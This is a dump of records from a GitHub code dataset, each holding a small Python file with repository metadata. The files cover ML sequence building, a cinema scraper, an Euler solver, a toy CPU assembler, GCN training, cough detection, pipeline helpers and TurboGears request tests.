pd.DataFrame,\n valid_x: pd.DataFrame,\n train_y: pd.DataFrame,\n test_y: pd.DataFrame,\n subtrain_y: pd.DataFrame,\n valid_y: pd.DataFrame,\n batch_size: int,\n random_state: int,\n **kwargs: Dict\n) -> Tuple[MixedSequence]:\n \"\"\"Return quadruple with train, test, subtrain and validation sequences.\n\n Parameters\n ----------------------\n train_x: pd.DataFrame,\n Training input dataframe.\n test_x: pd.DataFrame,\n Test input dataframe.\n subtrain_x: pd.DataFrame,\n Subtraining input dataframe.\n valid_x: pd.DataFrame,\n Validation input dataframe.\n train_y: pd.DataFrame,\n Training label dataframe.\n test_y: pd.DataFrame,\n Test label dataframe.\n subtrain_y: pd.DataFrame,\n Subtraining label dataframe.\n valid_y: pd.DataFrame,\n Validation label dataframe.\n batch_size: int,\n Batch size for the training sequences.\n random_state: int,\n Random state.\n **kwargs: Dict,\n Additional kwargs not used for this method.\n\n Returns\n ----------------------\n Quadruple of training sequences.\n \"\"\"\n normalized_train_x, normalized_test_x = normalize_epigenomic_data(\n train_x,\n test_x\n )\n normalized_subtrain_x, normalized_valid_x = normalize_epigenomic_data(\n subtrain_x,\n valid_x\n )\n return (\n get_mlp_training_sequence(\n normalized_train_x,\n train_y,\n batch_size=batch_size,\n random_state=random_state\n ),\n get_mlp_training_sequence(\n normalized_test_x,\n test_y,\n batch_size=batch_size,\n random_state=random_state\n ),\n get_mlp_training_sequence(\n normalized_subtrain_x,\n subtrain_y,\n batch_size=batch_size,\n random_state=random_state\n ),\n get_mlp_training_sequence(\n normalized_valid_x,\n valid_y,\n batch_size=batch_size,\n random_state=random_state\n )\n )\n","repo_name":"AnacletoLAB/crr_prediction","sub_path":"crr_prediction/sequences/build_mlp_sequences.py","file_name":"build_mlp_sequences.py","file_ext":"py","file_size_in_byte":2417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"41900032032","text":"import sys\ninput = sys.stdin.readline\n\nT = int(input()) #test 개수 \n\nfor i in range(0, T) : \n R, S = input().split()\n result = ''\n for ch in S : \n # print(ch)\n result += ch * int(R)\n print(result) \n","repo_name":"phwGithub/jungleAlgo","sub_path":"JiyoungJang/WEEK01/17_2675.py","file_name":"17_2675.py","file_ext":"py","file_size_in_byte":232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"15147500337","text":"import json\nfrom collections import defaultdict\n\nimport requests\nfrom bs4 import BeautifulSoup, element\n\nurl = \"http://www.peterburg-kino.spb.ru/druzba\"\n\nresponse = requests.get(url)\nhtml = response.text\nd = defaultdict(list)\nsoup = BeautifulSoup(html, \"lxml\")\nfor element1 in soup.find_all(\"div\", {\"class\": \"movie-block\"}):\n dateess = ''\n key = element1.find('div', {'class': 'movie-seans '}).text\n content = element1.find('div', {'class': 'movie-name trigger'}).text\n if element1:\n for ss in element1.previous_elements:\n if type(ss) is element.Tag:\n if ss.name == 'h1':\n dateess = ss.text\n break\n d[dateess].append([content, key])\nprint(json.dumps(d))\n","repo_name":"vowa-antilamer/jsonfromsite","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"29498747271","text":"import numpy as np\n\nfrom Data.DataPacket import Begin4C\nfrom Functionality.Functions import dC1, dC2, dC3, dC4\n\n\nclass Eulers():\n def __init__(self, begin4C, delta, initVal):\n self.begin4C = begin4C\n self.delta = delta\n self.initVal = initVal\n def GetEuler3C(self, count):\n dbegin4C = Begin4C(self.begin4C.C1, self.begin4C.C2,\n self.begin4C.C3, self.begin4C.C4)\n for h in np.arange(self.initVal, count, self.delta):\n dbegin4C.C1 = dbegin4C.C1 + dC1(dbegin4C.C1) * self.delta\n dbegin4C.C2 = dbegin4C.C2 + dC2(dbegin4C.C1, dbegin4C.C2) * self.delta\n dbegin4C.C3 = dbegin4C.C3 + dC3(dbegin4C.C2, dbegin4C.C3) * self.delta\n return dbegin4C.C3\n\ndef EulerC4(begin4C, delta, min, max):\n C1m = [begin4C.C1]\n C2m = [begin4C.C2]\n C3m = [begin4C.C3]\n C4m = [begin4C.C4]\n hm = [min]\n for h in np.arange(min, max, delta):\n C1m.append(C1m[-1] + dC1(C1m[-1]) * delta)\n C2m.append(C2m[-1] + dC2(C1m[-1], C2m[-1]) * delta)\n C3m.append(C3m[-1] + dC3(C2m[-1], C3m[-1]) * delta)\n C4m.append(C4m[-1] + dC4(C2m[-1], C3m[-1]) * delta)\n hm.append(h)\n return C1m, C2m, C3m, C4m, hm\n\ndef GetEuler3C(begin4C, delta, count):\n for h in np.arange(0, count, delta):\n begin4C.C1 = begin4C.C1 + dC1(begin4C.C1) * delta\n begin4C.C2 = begin4C.C2 + dC2(begin4C.C1, begin4C.C2) * delta\n begin4C.C3 = begin4C.C3 + dC3(begin4C.C2, begin4C.C3) * delta\n return begin4C\ndef StepEuler(C, dC, delta):\n return 0 + dC(C) * delta\n\n\ndef CountEuler(C0, dC, delta, min, max):\n C = [C0]\n IntSteps = [min]\n for h in np.arange(min, max, delta):\n C0 = C0 + dC(C0) * delta\n C.append(C0)\n IntSteps.append(h)\n return C, IntSteps","repo_name":"Baragalio/MatModel","sub_path":"Functionality/Euler.py","file_name":"Euler.py","file_ext":"py","file_size_in_byte":1797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"23950095120","text":"from tensorflow.keras.models import load_model\nimport pyaudio\nimport struct\nimport time\nimport librosa\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport cv2\nimport librosa.display\n\nmodel = load_model(\"cough_detector.model\")\n\nimport microphones\ndesc, mics, indices = microphones.list_microphones()\nprint(mics)\nMICROPHONE_INDEX = indices[1]\n\n\n# Find description that matches the mic index\nmic_desc = \"\"\nfor k in range(len(indices)):\n \n i = indices[k]\n #print(i)\n if (i==MICROPHONE_INDEX):\n print(i)\n mic_desc = mics[k]\nprint(\"Using mic: %s\" % mic_desc)\n\n# constants\nCHUNK = 55125 # samples per frame\nFORMAT = pyaudio.paInt16 # audio format (bytes per sample?)\nCHANNELS = 1 # single channel for microphone\nRATE = 44100 # samples per second\n\n# pyaudio class instance\np = pyaudio.PyAudio()\n\n# stream object to get data from microphone\nstream = p.open(\n format=FORMAT,\n channels=CHANNELS,\n rate=RATE,\n input=True,\n output=True,\n frames_per_buffer=CHUNK\n)\n\nprint(\"# Live Prediction Using Microphone: %s\" % (mic_desc))\nstream.start_stream()\n#time.sleep(2.0)\nprint('stream started')\n\n# for measuring frame rate\nframe_count = 0\nstart_time = time.time()\n\nwhile True:\n # binary data\n data = stream.read(CHUNK) \n #print(len(data))\n # convert data to integers, make np array, then offset it by 127\n data_int = struct.unpack(str(2 * CHUNK) + 'B', data)\n \n # create np array and offset by 128\n data_np = (np.array(data_int, dtype='b')).astype('float32')\n length = data_np.shape[0] / RATE\n print(length)\n # Compute spectrogram\n melspec = librosa.feature.melspectrogram(y=data_np, sr=44100, n_mels=128)\n# Convert to log scale (dB) using the peak power (max) as reference\n # per suggestion from Librbosa: https://librosa.github.io/librosa/generated/librosa.feature.melspectrogram.html\n log_melspec = librosa.power_to_db(melspec, ref=np.max) \n librosa.display.specshow(log_melspec, sr=44100)\n #file_name='pos-0421-084-cough-m-50-1.mp3'\n plt.savefig('record.png')\n \n \n img_array = cv2.imread('record.png') # convert to array\n new_array = cv2.resize(img_array, (224, 224)) # resize to normalize data size\n #new_array=np.array(new_array).reshape(-1, 224, 224, 3)\n #new_array = img_to_array(new_array)\n #new_array = preprocess_input(new_array)\n new_array=np.array(new_array).reshape(-1, 224, 224, 3)\n new_array = np.array(new_array, dtype=\"float32\")\n #print(new_array.shape)\n #new_array = np.expand_dims(new_array)\n print(model.predict(new_array))\n \n ","repo_name":"bioengsamar/try1000_model_cough","sub_path":"detect_sound_realtime.py","file_name":"detect_sound_realtime.py","file_ext":"py","file_size_in_byte":2630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"72433921308","text":"# ==============================================================================\n# \n# Attribution:\n# \n# Code by www.jk-quantized.com\n# \n# Redistribution and use of this code in source and binary forms must\n# retain the above attribution notice and this condition.\n# \n# ==============================================================================\n\n\n# -- Imports -----------------------------------------\n\nimport re\nimport os\n\n\n# -- Lookups -----------------------------------------\n\ninstructions = [\n\n\t# 'NOP', 'LDA', 'ADD', 'SUB',\n\t# 'STA', 'LDI', 'JMP', 'JC',\n\t# 'JZ', 'xxx', 'xxx', 'xxx',\n\t# 'xxx', 'xxx', 'OUT', 'HLT'\n\n\t'NOP', 'LDA', 'ADD', 'SUB',\n\t'STA', 'LDI', 'JMP', 'JC',\n\t 'JZ', 'xxx', 'xxx', 'xxx',\n\t'ADI', 'SBI', 'OUT', 'HLT'\n]\n\n\n# -- Extraction --------------------------------------\n\ncmdPattern = '''\n\t^ # from beginning of string\n\t.*? # select all characters until\n\t(?=\\/\\/|[\\r\\n]) # reach start of a comment or the string's end\n'''\ncmdPattern = re.compile( cmdPattern, re.X )\n\ndef extractCmd( line ):\n\n\tfound = re.search( cmdPattern, line )\n\n\tif found:\n\n\t\treturn found.group(0)\n\n\telse:\n\n\t\treturn None\n\ndef extractCmds( inputFile ):\n\n\tcommands = []\n\n\twith open( inputFile, 'r' ) as input_file:\n\t\t\n\t\tfor line in input_file:\n\n\t\t\tcmd = extractCmd( line )\n\n\t\t\tif cmd:\n\n\t\t\t\tcommands.append( cmd )\n\n\treturn commands\n\n\n# -- Translation -------------------------------------\n\ndef toBin( x, N ):\n\n\treturn bin( x )[2:].zfill( N )\n\ndef translateCmds( cmdList ):\n\n\tcommands = []\n\n\tfor cmd in cmdList:\n\n\t\tcmd = cmd.split( ' ' )\n\n\t\tinstruction = cmd[ 0 ]\n\n\t\timmediate = 0\n\n\t\tif len( cmd ) > 1 :\n\n\t\t\timmediate = int( cmd[ 1 ] )\n\n\t\tinstruction_nibble = toBin( instructions.index( instruction ), 4 )\n\t\timmediate_nibble = toBin( immediate, 4 )\n\n\t\tcommands.append( instruction_nibble + immediate_nibble )\n\n\treturn commands\n\n\n# -- Output --------------------------------------\n\ndef writeToOutputFile( binCmdList, outputFile ):\n\n\twith open( outputFile, 'w' ) as output_file:\n\t\t\n\t\tfor cmd_binary in binCmdList:\n\n\t\t\toutput_file.write( cmd_binary + '\\n' )\n\n\n# -- Run ---------------------------------------------\n\ndef asm_to_bin( inputFile, outputFile ):\n\n\tcmds_assembly = extractCmds( inputFile )\n\n\tcmds_binary = translateCmds( cmds_assembly )\n\n\twriteToOutputFile( cmds_binary, outputFile )\n\n\tprint( 'Done!' )\n\n\n# Temp\nasm_to_bin( 'Source/conditionalJumpTest.asm', 'Binaries/conditionalJumpTest.bin' )\n","repo_name":"JetStarBlues/BenEater_CPU","sub_path":"Programs/assembler.py","file_name":"assembler.py","file_ext":"py","file_size_in_byte":2433,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"11"} +{"seq_id":"16222997313","text":"import os\nimport sys\nimport time\nimport datetime\nimport numpy as np\nimport pandas as pd\nimport scipy.sparse\nimport argparse\n\nimport torch\nfrom torch import Tensor\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\n\nfrom pygcn.utils import sparse_mx_to_torch_sparse_tensor\nfrom pygcn.layers import GraphConvolution\n# from pygcn.models import GCN\n\n\nclass GCN_1layer(nn.Module):\n def __init__(self, nfeat, nclass, dropout):\n super(GCN_1layer, self).__init__()\n \n self.gc1 = GraphConvolution(nfeat, nclass)\n self.dropout = dropout\n\n def forward(self, x, adj):\n x = F.relu(self.gc1(x, adj))\n x = F.dropout(x, self.dropout, training=self.training)\n return F.log_softmax(x, dim=1)\n\n\n# Load data\ndef load_news_data(path, EXP_W_NAME):\n print('[INFO] Loading dataset from %s' %(path))\n \n nodes_files = pd.read_csv(\"%s/cross_news_network_nodes.csv\" %(path), header=None).to_numpy()\n features = nodes_files[:, 1:]\n idx = nodes_files[:, 0]\n idx_map = {j: i for i, j in enumerate(idx)}\n \n edges_files = pd.read_csv(\"%s/cross_news_network_edges-%s.csv\" %(path, EXP_W_NAME), header=None).to_numpy()\n edges_head_tail = edges_files[:, 0:2]\n edges_weight = edges_files[:, -1]\n edges = np.array(list(map(idx_map.get, edges_head_tail.flatten())), \n dtype=np.int32).reshape(edges_head_tail.shape)\n \n adj = scipy.sparse.coo_matrix((edges_weight, (edges[:, 0], edges[:, 1])),\n shape=(idx.shape[0], idx.shape[0]),\n dtype=np.float32)\n # build symmetric adjacency matrix\n adj = adj + adj.T.multiply(adj.T > adj) - adj.multiply(adj.T > adj)\n \n adj = sparse_mx_to_torch_sparse_tensor(adj)\n features = torch.FloatTensor(np.array(features, dtype=np.float32))\n X = torch.LongTensor(edges)\n Y = torch.FloatTensor(np.array(edges_weight, dtype=np.float32))\n \n return idx_map, adj, features, X, Y\n\n\n\ndef train(epoch):\n t = time.time()\n model.train()\n optimizer.zero_grad()\n output = model(features, adj)\n \n x1 = X[:, 0]\n x2 = X[:, 1]\n criterion = torch.nn.CosineSimilarity()\n y = criterion(output[x1], output[x2])\n mse_loss = torch.nn.MSELoss()\n loss_train = mse_loss(y, Y)\n loss_train.backward()\n optimizer.step()\n\n print('Epoch: {:04d}'.format(epoch+1),\n 'loss_train: {:.4f}'.format(loss_train.item()),\n 'time: {:.4f}s'.format(time.time() - t))\n\n\n# def generate_gcn_embeddings(model, adj, features):\n# model.eval()\n# output = model(features, adj)\n# return output\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--today_date\", type=str, required=True)\n parser.add_argument(\"--time_version\", type=int, required=True, \n help='Time which the version of network is generate within a day')\n args = parser.parse_args()\n \n TODAY_DATE = args.today_date\n EXP_W = 0.1\n EXP_W_NAME = str(EXP_W).replace('.','')\n TIME_VERSION = str(args.time_version)\n \n torch.cuda.empty_cache()\n \n \n no_cuda = False\n fastmode = False\n seed = 42\n epochs = 60\n lr = 0.001\n weight_decay = 5e-4\n dropout = 0.1\n \n # Load data\n cross_news_network_path = \"./cross-news-network/%s/%s\" %(TODAY_DATE, TIME_VERSION)\n idx_map, adj, features, X, Y = load_news_data(cross_news_network_path, EXP_W_NAME)\n \n # Init model\n model = GCN_1layer(nfeat=features.shape[1],\n nclass=768,\n dropout=dropout)\n optimizer = optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay)\n print('\\n\\n', model, '\\n\\n')\n \n # Cuda\n if not no_cuda and torch.cuda.is_available():\n print('[INFO] Use Cuda!')\n model.cuda()\n features, adj, X, Y = features.cuda(), adj.cuda(), X.cuda(), Y.cuda()\n \n # Train gcn model\n start = time.time()\n for epoch in range(epochs):\n train(epoch)\n print(\"Optimization Finished!\")\n print(\"Total time elapsed: {:.4f}s\".format(time.time() - start))\n \n \n # Save gcn model\n gcn_model_output_path = \"./gcn-model/%s/%s\" %(TODAY_DATE, TIME_VERSION)\n if not os.path.exists(gcn_model_output_path):\n os.makedirs(gcn_model_output_path)\n \n print(\"[INFO] Save GCN model: %s\" %(gcn_model_output_path))\n torch.save(model, os.path.join(gcn_model_output_path, 'gcn_model.pt'))\n \n \n \n \n \n# gcn_emb = generate_gcn_embeddings(model, adj, features)\n# print(\"[INFO] GCN embedding shape\", gcn_emb.shape)\n# print(\"[INFO] Save GCN embedding: %s\" %(gcn_emb_output_path))\n# np.savez(gcn_emb_output_path + 'gcn_emb.npz', gcn=gcn_emb.detach().cpu().numpy())\n \n \n \n \n \n \n\n\n\n","repo_name":"gtingyou/ICDE-NRS","sub_path":"gcn.py","file_name":"gcn.py","file_ext":"py","file_size_in_byte":4806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"11723695336","text":"import os\nimport sys\nimport time\nimport datetime\nimport logging\nimport logging.handlers\nfrom argparse import ArgumentParser\nimport StringIO\nfrom ruffus.proxy_logger import *\nfrom ruffus import *\n\n\nclass Result(object):\n def __init__(self, infiles, outfiles, log=None, stdout=None, stderr=None,\n desc=None, failed=False, cmds=None):\n \"\"\"\n A Result object encapsulates the information going to and from a task.\n Each task is responsible for determining the following arguments, based\n on the idiosyncracies of that particular task:\n\n `infiles`: Required list of input files to the task\n `outfiles`: Required list of output files to the task\n `failed`: Optional (but recommended) boolean indicating whether the\n task failed or not. Default is False, implying that the\n task will always work\n `log`: Optional log file from running the task's commands\n `stdout`: Optional stdout that will be printed in the report if the\n task failed\n `stderr`: Optional stderr that will be printed in the report if the\n task failed\n `desc`: Optional description of the task\n `cmds`: Optional string of commands used by the task. Can be very\n useful for debugging.\n \"\"\"\n if isinstance(infiles, basestring):\n infiles = [infiles]\n if isinstance(outfiles, basestring):\n outfiles = [outfiles]\n self.infiles = infiles\n self.outfiles = outfiles\n self.log = log\n self.stdout = stdout\n self.stderr = stderr\n self.elapsed = None\n self.failed = failed\n self.desc = desc\n self.cmds = cmds\n\n def report(self, logger_proxy, logging_mutex):\n \"\"\"\n Prints a nice report\n \"\"\"\n with logging_mutex:\n if not self.desc:\n self.desc = \"\"\n logger_proxy.info(' Task: %s' % self.desc)\n logger_proxy.info(' Time: %s' % datetime.datetime.now())\n if self.elapsed is not None:\n logger_proxy.info(' Elapsed: %s' % nicetime(self.elapsed))\n if self.cmds is not None:\n logger_proxy.debug(' Commands: %s' % str(self.cmds))\n for output_fn in self.outfiles:\n output_fn = os.path.normpath(os.path.relpath(output_fn))\n logger_proxy.info(' Output: %s' % output_fn)\n if self.log is not None:\n logger_proxy.info(' Log: %s' % self.log)\n if self.failed:\n logger_proxy.error('=' * 80)\n logger_proxy.error('Error in %s' % self.desc)\n if self.cmds:\n logger_proxy.error(str(self.cmds))\n if self.stderr:\n logger_proxy.error('====STDERR====')\n logger_proxy.error(self.stderr)\n if self.stdout:\n logger_proxy.error('====STDOUT====')\n logger_proxy.error(self.stdout)\n if self.log is not None:\n logger_proxy.error(' Log: %s' % self.log)\n logger_proxy.error('=' * 80)\n sys.exit(1)\n logger_proxy.info('')\n\n\ndef nicetime(seconds):\n \"\"\"Convert seconds to hours-minutes-seconds\"\"\"\n m, s = divmod(seconds, 60)\n h, m = divmod(m, 60)\n elapsed = \"%dh%02dm%02.2fs\" % (h, m, s)\n return elapsed\n\n\ndef timeit(func):\n \"\"\"Decorator to time a single run of a task\"\"\"\n def wrapper(*arg, **kw):\n t0 = time.time()\n res = func(*arg, **kw)\n t1 = time.time()\n res.elapsed = (t1 - t0)\n if not res.desc:\n res.desc = func.__name__\n return res\n return wrapper\n\n\ndef run(options):\n \"\"\"\n Run the pipeline according to the provided options (which were probably\n created by get_options())\n \"\"\"\n if options.just_print:\n pipeline_printout(sys.stdout,\n options.target_tasks,\n options.forced_tasks,\n verbose=options.verbose)\n\n elif options.flowchart:\n pipeline_printout_graph(open(options.flowchart, \"w\"),\n os.path.splitext(options.flowchart)[1][1:],\n options.target_tasks,\n options.forced_tasks,\n no_key_legend=not options.key_legend_in_graph)\n else:\n pipeline_run(options.target_tasks,\n options.forced_tasks,\n multiprocess=options.jobs,\n logger=stderr_logger,\n verbose=options.verbose)\n\n\ndef get_options():\n \"\"\"\n Standard set of options to be passed to the command line. These can be in\n turn passed to run() to actually run the pipeline.\n \"\"\"\n parser = ArgumentParser(usage=\"\\n\\n %(prog)s [arguments]\")\n parser.add_argument(\"-v\", \"--verbose\", dest=\"verbose\",\n action=\"count\", default=0,\n help=\"Print more verbose messages for each \"\n \"additional verbose level.\")\n parser.add_argument(\"-L\", \"--log_file\", dest=\"log_file\",\n metavar=\"FILE\",\n type=str,\n help=\"Name and path of log file\")\n parser.add_argument(\"-t\", \"--target_tasks\", dest=\"target_tasks\",\n action=\"append\",\n default=list(),\n metavar=\"JOBNAME\",\n type=str,\n help=\"Target task(s) of pipeline.\")\n parser.add_argument(\"-j\", \"--jobs\", dest=\"jobs\",\n default=6,\n metavar=\"N\",\n type=int,\n help=\"Allow N jobs (commands) to run \"\n \"simultaneously.\")\n parser.add_argument(\"-n\", \"--just_print\", dest=\"just_print\",\n action=\"store_true\", default=False,\n help=\"Don't actually run any commands; just print \"\n \"the pipeline.\")\n parser.add_argument(\"--flowchart\", dest=\"flowchart\",\n metavar=\"FILE\",\n type=str,\n help=\"Don't actually run any commands; just print \"\n \"the pipeline as a flowchart.\")\n parser.add_argument(\"--key_legend_in_graph\",\n dest=\"key_legend_in_graph\",\n action=\"store_true\",\n default=False,\n help=\"Print out legend and key for dependency \"\n \"graph.\")\n parser.add_argument(\"--forced_tasks\", dest=\"forced_tasks\",\n action=\"append\",\n default=list(),\n metavar=\"JOBNAME\",\n type=str,\n help=\"Pipeline task(s) which will be included \"\n \"even if they are up to date.\")\n parser.add_argument('--config',\n help='Meta YAML config')\n\n # get help string\n f = StringIO.StringIO()\n parser.print_help(f)\n helpstr = f.getvalue()\n options = parser.parse_args()\n\n mandatory_options = ['config']\n\n def check_mandatory_options(options, mandatory_options, helpstr):\n \"\"\"\n Check if specified mandatory options have been defined\n \"\"\"\n missing_options = []\n for o in mandatory_options:\n if not getattr(options, o):\n missing_options.append(\"--\" + o)\n\n if not len(missing_options):\n return\n\n raise Exception(\"Missing mandatory parameter%s: %s.\\n\\n%s\\n\\n\" %\n (\"s\" if len(missing_options) > 1 else \"\",\n \", \".join(missing_options),\n helpstr))\n check_mandatory_options(options, mandatory_options, helpstr)\n return options\n\n\ndef make_logger(options, file_name):\n \"\"\"\n Sets up logging for the pipeline so that messages are synchronized across\n multiple processes\n \"\"\"\n\n MESSAGE = 15\n logging.addLevelName(MESSAGE, \"MESSAGE\")\n\n def setup_std_logging(logger, log_file, verbose):\n \"\"\"\n set up logging using programme options\n \"\"\"\n class debug_filter(logging.Filter):\n \"\"\"\n Ignore INFO messages\n \"\"\"\n def filter(self, record):\n return logging.INFO != record.levelno\n\n class NullHandler(logging.Handler):\n \"\"\"\n for when there is no logging\n \"\"\"\n def emit(self, record):\n pass\n\n # We are interested in all messages\n logger.setLevel(logging.DEBUG)\n has_handler = False\n\n # log to file if that is specified\n if log_file:\n handler = logging.FileHandler(log_file, delay=False)\n handler.setFormatter(\n logging.Formatter(\n \"%(asctime)s - %(name)s - %(levelname)6s - %(message)s\"))\n handler.setLevel(MESSAGE)\n logger.addHandler(handler)\n has_handler = True\n\n # log to stderr if verbose\n if verbose:\n stderrhandler = logging.StreamHandler(sys.stderr)\n stderrhandler.setFormatter(\n logging.Formatter(\" %(message)s\")\n )\n stderrhandler.setLevel(logging.DEBUG)\n if log_file:\n stderrhandler.addFilter(debug_filter())\n logger.addHandler(stderrhandler)\n has_handler = True\n\n # no logging\n if not has_handler:\n logger.addHandler(NullHandler())\n\n # set up log\n logger_name = os.path.splitext(os.path.basename(file_name))[0]\n logger = logging.getLogger(logger_name)\n setup_std_logging(logger, options.log_file, options.verbose)\n\n # Allow logging across Ruffus pipeline\n def get_logger(logger_name, args):\n return logger\n\n (logger_proxy,\n logging_mutex) = make_shared_logger_and_proxy(get_logger,\n logger_name,\n {})\n\n return logger_proxy, logging_mutex\n","repo_name":"daler/pipeline-example","sub_path":"pipeline-1/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":10414,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"11"} +{"seq_id":"17311842064","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Oct 12 12:16 2022\r\n\r\n@author: Belva Luthfiah Andini\r\n\"\"\"\r\nimport calendar\r\nprint(\"Welcome to calendar program! program ini membantu mengetahui jumlah hari pada bulan dan tahun yang diinginkan\")\r\nulang = \"back\"\r\nwhile ulang == \"back\" or ulang == \"\": \r\n year = int(input(\"masukan tahun yang diinginkan [ex: 2004]: \")) \r\n month = int(input(\"masukan bulan yang diinginkan [1-12]: \"))\r\n print(\"ada\", (calendar.monthrange(year, month)[1]), \"Hari di bulan ke\",month, \"tahun\", year)\r\n ulang = input(\"ketik jika ingin menggunakan program kembali, ketik jika berhenti \")\r\n if ulang == \"stop\" or ulang == \"\":\r\n print(\"Terimakasih sudah menggunakan program ini bestie!\")\r\n print(\"-----------------------------------------------\")\r\n print(\"author : Belva Luthfiah Andini - 065002200035\")\r\n break","repo_name":"BelvaLA/Prak4_Algo","sub_path":"prak4_algo.py","file_name":"prak4_algo.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"19887057248","text":"from tg._compat import u_\nfrom tg.request_local import Request, Response\n\n\nclass TestRequest(object):\n def test_language(self):\n r = Request({}, headers={'Accept-Language': 'en-gb;q=0.8, da'})\n bmatch = r.languages_best_match()\n assert ['da', 'en-gb'] == bmatch\n\n def test_language_fallback(self):\n r = Request({}, headers={'Accept-Language': 'en-gb;q=0.8, da'})\n bmatch = r.languages_best_match(fallback='it')\n assert ['da', 'en-gb', 'it'] == bmatch\n\n def test_language_fallback_already_there(self):\n r = Request({}, headers={'Accept-Language': 'en-gb;q=0.8, it, da'})\n bmatch = r.languages_best_match(fallback='it')\n assert bmatch[-1] == 'it', bmatch\n\n def test_languages(self):\n r = Request({}, headers={'Accept-Language': 'en-gb;q=0.8, it;q=0.9, da'})\n r._language = \"it\" # Fake there was a tg.i18n[\"lang\"] option set.\n bmatch = r.languages\n assert bmatch[:2] == ['da', 'it'], bmatch\n assert bmatch[-1] == 'it'\n\n def test_match_accept(self):\n r = Request({}, headers={'Accept': 'text/html;q=0.5, foo/bar'})\n first_match = r.match_accept(['foo/bar'])\n assert first_match == 'foo/bar', first_match\n\n def test_signed_cookie(self):\n resp = Response()\n resp.signed_cookie('key_name', 'VALUE', secret='123')\n cookie = resp.headers['Set-Cookie']\n\n r = Request({}, headers={'Cookie':cookie})\n value = r.signed_cookie('key_name', '123')\n assert value == 'VALUE', value\n\n r = Request({}, headers={'Cookie':cookie})\n value = r.signed_cookie('non_existing', '123')\n assert not value\n\n\nclass TestResponse(object):\n def test_wsgi_response(self):\n r = Response()\n status, headers, body = r.wsgi_response()\n assert '200 OK' == status\n\n def test_content_type(self):\n r = Response()\n\n r.content_type = u_('text/html')\n # Verify it's a native string, and not unicode.\n assert type(r.content_type) == str\n assert r.content_type == 'text/html'\n\n del r.content_type\n assert r.content_type is None\n","repo_name":"TurboGears/tg2","sub_path":"tests/test_stack/test_request_local.py","file_name":"test_request_local.py","file_ext":"py","file_size_in_byte":2156,"program_lang":"python","lang":"en","doc_type":"code","stars":794,"dataset":"github-code","pt":"11"} +{"seq_id":"455831313","text":"import numpy as np\ndef fermentationRate(measuredRate, lowerBound, upperBound):\n sum = 0\n counter = 0\n for i in range(0, len(measuredRate)):\n if (measuredRate[i] > lowerBound and measuredRate[i] < upperBound):\n sum += measuredRate[i]\n counter += 1\n averageRate = sum/counter\n return averageRate","repo_name":"tudorciobanu99/IntroPython","sub_path":"Week 4/fermentationRate.py","file_name":"fermentationRate.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"29138889740","text":"\n# coding: utf-8\n\n# # DATA CLEANING\n# A sample csv file is included. The complete csv dataset containing all trades between Italy and all other countries from 2004 to 2017 was about 4.2Gb.\n\n# In[1]:\n\n\nimport pandas as pd\nimport os\nfrom os import listdir\nfrom os.path import isfile, join\n\n\n# In[2]:\n\n\nfilename = \"Comtrade_raw_data.csv\"\ndf = pd.read_csv(filename, sep = \",\", encoding='latin-1')\n\n\n# In[3]:\n\n\ncolumns = ['Aggregate Level',\n 'Alt Qty Unit',\n 'Commodity Code',\n 'Commodity',\n 'Flag',\n 'Netweight (kg)',\n 'Partner Code',\n 'Reporter Code',\n 'Trade Flow Code',\n 'Trade Value (US$)',\n 'Year']\ndf = df[columns]\n\n\n# In[4]:\n\n\ndf.isnull().any()\n#null values are present in unimportant columns\n\n\n# In[5]:\n\n\ndf.to_csv(\"Comtrade_clean_data.csv\", sep = \",\", encoding='latin-1', index=False)\n\n","repo_name":"rozemon/portfolio","sub_path":"comtrade-visualization/2-data_cleaning/cleaning.py","file_name":"cleaning.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"11"} +{"seq_id":"41942875574","text":"import re\nfrom PyQt5.QtWidgets import *\n\n\ndef save_xy(folder, filename, x, y):\n # write data in different files to the folder\n content = [('{data_x},{data_y}'.format(data_x=x[i], data_y=y[i])) for i in range(len(x))]\n content = \"\\n\".join(content)\n print(\"exporting to filename: %s\" % filename)\n filename += '.csv'\n filename = folder + '/' + filename\n with open(filename, 'w') as f:\n f.write(content)\n f.close()\n\n\ndef export_multiple_data(root, data, prefix='', suffix=''):\n folder = QFileDialog.getExistingDirectory(root)\n if folder:\n for filename in data:\n xy = data[filename]\n save_name = \"{p}{f}{s}\".format(p=prefix, f=filename, s=suffix)\n save_xy(folder, save_name, xy[0], xy[1])\n return True\n else:\n return False\n\n\nif __name__ == '__main__':\n import sys\n from PyQt5.QtWidgets import QMainWindow, QApplication\n\n app = QApplication(sys.argv)\n main = QMainWindow()\n export_multiple_data(main, {'test.txt': ([1, 2], [3, 4])})\n app.exec_()\n","repo_name":"yangyushi/ezdata","sub_path":"src/IO/Export.py","file_name":"Export.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"523291230","text":"import os\nfrom logging import getLogger\nfrom typing import List\n\nfrom tokenizers import Tokenizer\nfrom tokenizers.implementations import 